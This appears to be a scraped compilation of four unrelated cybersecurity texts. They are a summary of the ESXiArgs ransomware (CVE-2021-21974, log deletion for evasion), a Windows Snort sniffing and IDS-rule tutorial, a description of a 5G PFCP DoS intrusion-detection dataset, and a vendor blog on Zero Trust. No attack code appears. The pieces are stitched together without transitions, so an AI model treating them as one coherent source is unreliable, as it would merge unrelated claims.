This CISA recovery script ESXiArgs-Recover was made available without any warranty and understanding of the application of the script is expected on the part of the engineer.
The ransomware attack using an old vulnerability
A patch for the vulnerability CVE-2021-21974 was issued on 23 February 2021. However, cybercriminals tapped it by targeting unpatched systems:
Countries impacted by the ESXi Args ransomware (Photo: Cyble)
First observed in Italy, the ESXi Args ransomware attack impacted France, followed by the United States of America. An encryptor posted on the Bleeping Computer support forum has also been found.
This ransomware attack includes two files named encrypt.sh, a shell script and encrypt, an ELF executable to encrypt the files.
The shell script looks for all the .log files in the root directory to delete them. This also erases the traces of the ransomware to evade detection. This was found by the Cyble Research & Intelligence Labs (CRIL) researchers from the sample hash: (SHA256), 11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66.
The team discovered that the malicious file was a 64-bit gcc compiled ELF binary as the image below:
Previously known vulnerabilities are exploited to cause severe damage to infrastructure and routine operations. New vulnerabilities remain the focal point in ensuring the highest security in software to avoid exploitation however, it is just as crucial to patch all the vulnerabilities in the system that may be using an older version of the software. |
Snort is a packet sniffer which uses the WinPcap library for sniffing network traffic. What makes Snort stand out is its ability to be configured to detect and log many different traffic patterns. This tutorial will be based on the Windows version of Snort, since it’s the basics, but for more advanced stuff, I recommend running Snort in a nix-based system.
2. Open up a command prompt and navigate to the install folder C:\Snort\bin
3. To determine which network interface to use, type Snort –W
To capture some traffic we will be using the arguments -d -e and -v meaning that Snort output will show the IP (Layer3), TCP/UDP/ICMP (Layer4) headers, and the packets data (Layer7). The –i 2 argument specifies packet capture on the 2nd network interface.
4. Type snort -dev -i 2
5. Generate some network traffic
6. Abort the capture by pressing Ctrl+C
You will now see the captured traffic.
7. Type snort -dev -i 2 -l C:\Snort\log -K ascii
8. Generate some network traffic
9. Abort the capture by pressing Ctrl+C
Now go the C:\Snort\log folder, you should see that the logged packets arranged by destination IP.
Snort can also be used as an Intrusion Detection System (IDS), which means that it only picks up packets which match certain rules. The Snort rules are set up in this order:
[ACTION] [PROTOCOL] [ADDRESS] [PORT] [DIRECTION] [ADDRESS] [PORT]
Where [ACTION] defines what action Snort is to take when encountering a packet that fits the criteria. [PROTOCOL] defines what protocol the packets would have to be using. After that [ADDRESS] is the source address (IP address) of the packet and the [PORT] defines the source port. [DIRECTION] Tells which way the packet should be going and once again [ADDRESS] [PORT] tell the address and port where the packet is going to.
10. In the folder C:\Snort\rules create the file rules.txt
11. Open the file and type alert tcp any 80 -> any any (content:”ifconfig”; msg:”ifconfig detected in packet”; sid:999;)
12. Save and close the file
We will now try using this rule while sniffing traffic. The –k none argument, tells Snort not to ignore checksum error packets.
13. Type snort -dev -i 2 -l C:\Snort\log -K ascii -c C:\Snort\rules\rules.txt -k none
14. Visit the site ifconfig.dk and navigate around the site for a bit
15. Stop the capture by pressing Ctrl+C
A file called alert.ids should now have been produced in the C:\Snort\log folder.
As said this is only the basics of what Snort can do. It can be configured to capture close to anything running though you Ethernet card. Also there are a lot of preconfigured rules and plugins which can help determine what kind of activity is happening on a network. An example would be to pick up on a Nmap scan of the network. |
The advancements in the field of telecommunications have resulted in an increasing demand for robust, high-speed, and secure connections between User Equipment (UE) instances and the Data Network (DN). The implementation of the newly defined 3rd Generation Partnership Project 3GPP (3GPP) network architecture in the 5G Core (5GC) represents a significant leap towards fulfilling these demands. This architecture promises faster connectivity, low latency, higher data transfer rates, and improved network reliability. 5GC has been designed to support a wide range of critical Next Generation Internet of Things (NG-IoT) and industrial use cases that require reliable end-to-end communication services. However, this evolution raises severe security issues. In the context of the SANCUS project, a set of cyberattacks were investigated and emulated by K3Y against the Packet Forwarding Control Protocol (PFCP) between the Session Management Function (SMF) and the User Plane Function (UPF). Based on these attacks, an intrusion detection dataset was generated: 5GC PFCP Intrusion Detection Dataset that can support the development of Artificial Intelligence (AI)-powered Intrusion Detection Systems (IDS) that use Machine Learning (ML) and Deep Learning (DL) techniques. The goal of this report is to describe this dataset.
The 5GC PFCP Intrusion Detection Dataset was implemented following relevant methodological frameworks, including eleven features: (a) Complete Network Configuration, (b) Complete Traffic, (c) Labelled Dataset, (d) Complete Interaction, (e) Complete Capture, (f) Available Protocols, (g) Attack Diversity, (h) Heterogeneity, (i) Feature Set and (j) Metadata. A 5GC architecture was emulated, including the Network Slice Selection Function (NSSF), the Network Exposure Function (NEF), the Network Repository Function (NRF), the Policy Control Function (PCF), the User Data Management (UDM), the Access and Mobility Management Function (AF), the Authentication Server Function (AUSF), the Access Management Function (AMF), SMF, and UPF, in addition to a virtualised UE device, a virtualised gNodeB (gNB), and a cyberattacker impersonating a maliciously instantiated SMF. In particular, the following cyberattacks were performed:
- On Wednesday, October 05, 2022, the PFCP Session Establishment DoS Attack was implemented for 4 hours.
- On Thursday, October 13, 2022, the PFCP Session Deletion DoS Attack was implemented for four hours.
- On Tuesday, November 01, 2022, the PFCP Session Modification DoS Attack (DROP Apply Action Field Flags) was implemented for 4 hours.
- On Tuesday, November 22, 2022, the PFCP Session Modification DoS Attack (DUPL Apply Action Field Flag) was implemented for 4 hours.
The previous PFCP-related cyberattacks were executed, utilising penetration testing tools, such as Scapy. For each attack, a relevant folder is provided, including the network traffic and the network flow statistics for each entity. In particular, for each cyberattack, a folder is given, providing (a) the pcap files for each entity, (b) the Transmission Control Protocol (TCP)/ Internet Protocol (IP) network flow statistics for 120 seconds in a Comma-Separated Values (CSV) format and (c) the PFCP flow statistics for each entity (using different timeout values in terms of second (such as 45, 60, 75, 90, 120 and 240 seconds)). The TCP/IP network flow statistics were produced by using the CICFlowMeter, while the PFCP flow statistics were generated based on a Custom PFCP Flow Generator, taking full advantage of Scapy.
Full Description (ReadMe): [PDF]
Citation: G. Amponis, P. Radoglou-Grammatikis, T. Lagkas, W. Mallouli, A. Cavalli, D. Klonidis, E. Markakis, and P. Sarigiannidis, “Threatening the 5G core via PFCP DOS attacks: The case of blocking UAV Communications”, EURASIP Journal on Wireless Communications and Networking, vol. 2022, no. 1, 2022, doi: 10.1186/s13638-022-02204-5. |
By Nancy Peaslee
Is Your Agency in Compliance with the CISA Zero Trust Security Model?
You’ve probably heard the cybersecurity term Zero Trust. But, do you know what it is and how it can help you better secure your organization’s data and IT assets so you can be in compliance with the Biden Administration’s Executive Order on Improving the Nation’s Cybersecurity (Executive Order 14028)?
The Basics: What is Zero Trust and The Tenets of Zero Trust
What is Zero Trust (ZT)?
Zero Trust is a cybersecurity model defined by John Kindervag, a vice president and principal analyst at Forrester Research in 2009. The cybersecurity model is based on the strategy: Never trust, always verify, which views trust as a vulnerability that must be continually evaluated in a modern IT network.
Sometimes known as perimeter-less security, the tenets of Zero Trust1 describe an approach to the design and implementation of IT systems. As the complexity of IT systems and assets scale overtime in an enterprise, a comprehensive Zero Trust strategy can provide a clear plan for scaling.
The Tenets of Zero Trust
- All data sources and computing services are considered resources. An enterprise may also decide to classify personally owned devices as resources if they access enterprise-owned resources.
- All communication is secured regardless of network location. It should also be handled in the most secure manner available, protect confidentiality and integrity, and provide source authentication.
- Access to individual enterprise resources is granted on a per-session basis. Access should also be granted with the least privileges needed to complete the task.
- Access to resources is determined by dynamic policy – including the observable state of client identity, application/service, and the requesting asset – and may include other behavioral and environmental attributes.
- The enterprise monitors and measures the integrity and security posture of all owned and associated assets. This, too, requires a robust monitoring and reporting system in place to provide actionable data about the current state of enterprise resources.
- All resource authentication and authorization are dynamic and strictly enforced before access is allowed.
- The enterprise collects as much information as possible about the current state of assets, network infrastructure and communications and uses it to improve its security posture.
Zero Trust Architecture (ZTA)
Zero Trust Architecture focuses on users, assets, and resources based on the premise that nothing can be trusted, regardless of where your assets are or where your users are located (physical or network location). Everything is seen as a threat requiring verification.
Zero Trust cybersecurity paradigms move defenses from static, network-based perimeters to focus on users, assets, and resources. This network trend includes a Zero Trust response to enterprise network trends with remote users, bring your own device (BYOD), and cloud-based assets that are not located within an enterprise-owned network boundary.
Microsegmentation Practices Scale with the Enterprise
Microsegmentation supports the tenets of Zero Trust and can be thought of as partitioning authentication and authorization prior to a session, for a specific resource. It enables security teams to look at protecting specific resources, not network segments.
Since there is an inherent assumption that an attacker is in the network, the security team looks to asset protection to prevent data breaches and limit lateral movement. Think about it. Some of the most damaging data breaches have been caused by the ability for an adversary to move around within a network. By using Zero Trust practices, such as locking down individual resources, we are creating obstacles to that movement.
Microsegmentation granular, consistent, and scalable approaches within an enterprise will meet the cybersecurity needs of the future.
Goals to Consider for Your Zero Trust Strategy
Zero Trust is a journey to implement, and while there are many tools available, there is no one single or simple plug-in solution.
There are many aspects to consider that help to define your goals in defining a Zero Trust Strategy:
- Comprehensive review, analysis, and modification of existing cybersecurity policies
- Determination of who (or what systems) to allow access to specific assets or information
- Establishment of allowable communication paths, or internal zones within the enterprise, keeping access rules as refined as possible
- Implementation of the ability to allow or deny sessions
- Continuous enforcement of policies, as well as the ability to monitor, track, and analyze all transactions and access rules within the infrastructure
How to Start Planning Your Strategy
Is your government agency working on a strategy to meet the requirements of the Cybersecurity and Infrastructure Security Agency (CISA) Zero Trust Maturity Model that outlines compliance with the Biden Administration’s Executive Order on Improving the Nation’s Cybersecurity?
Before implementing fully to Zero Trust, you can get started with these steps:
- Inventory all of your IT assets – check out these pointers on IT asset management
- Identify who/what (consider both people and systems) should have access to assets and information. By understanding your resources and information, you can work toward restricting resources to those with a need to have access and provide only the minimum privileges.
- Document current operational workflows, including infrastructure, process flow and information flow
- Map the flow of data across the enterprise to define your architecture and information configuration
As you get started with your approach, it should be designed in conjunction with a standard managed risk approach to better secure your modern IT infrastructure. Zero Trust is a major investment in visibility and analytics and there are many factors that contribute to its successful implementation. Government agencies are entering the execution phase of Biden’s cybersecurity executive order.
Contact us today to learn how Graham Technologies can help your government agency understand and apply the cybersecurity tenets of Zero Trust.
1Source: Zero Trust Architecture, NIST Special Publication 800-207, August 2020 |
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